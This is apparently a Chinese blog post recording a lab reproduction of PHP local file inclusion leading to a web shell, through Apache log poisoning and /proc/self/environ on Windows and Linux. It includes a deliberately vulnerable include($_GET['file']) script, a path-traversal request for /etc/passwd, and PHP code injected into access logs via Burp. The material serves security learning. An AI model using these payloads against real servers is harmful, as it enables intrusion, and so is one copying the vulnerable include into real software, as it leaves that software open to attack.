windows和linux包含日志文件和环境变量getshell

目录

前提知识

实验复现

代码区

测试区


前提知识

在linux 下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows 环境是权限是允许的。
linux 默认的 apache 日志文件路径是
访问日志
/var/log/apache2/access.log
错误日志
/var/log/apache2/error.log
把文件日志包含进来即可
/proc/self/environ 这个文件里保存了系统的一些变量

实验复现

代码区

index.php

<?php
include $_GET['file'];
?>

info.php

<?php
phpinfo();
?>

测试区

  • linux
?filename=../../../../../../../etc/passwd&submit=提交

这里查看日志文件发现权限不够www-data用户进行包含 

访问时在url中写入恶意代码,发现被浏览器进行转码

http://192.168.10.139/?%3C?phpinfo();?%3E

使用burp进行拦截发包,此时代码出现在日志文件内(由于权限不够此时无法进行包含)

  • windows

发现仍然被编码了

通过burp发包

包含该日志文件

http://localhost:8084/?file=D:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1677801600

而现实是需要先找到今日日志的文件名,因为直接包含access.log会太大导致页面没有响应

我们先包含配置文件D:\phpstudy_pro\Extensions\Apache2.4.39\conf\httpd.conf

寻找logformat

%h %l %u %t \"%r\" %>s %b \"%{User-Agent}i\" 

根据预制格式获取文件名

1677801600

  • linux环境变量

此时我们在User-Agen写入php代码

查看/proc/self/environ未发现(写入权限不够)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值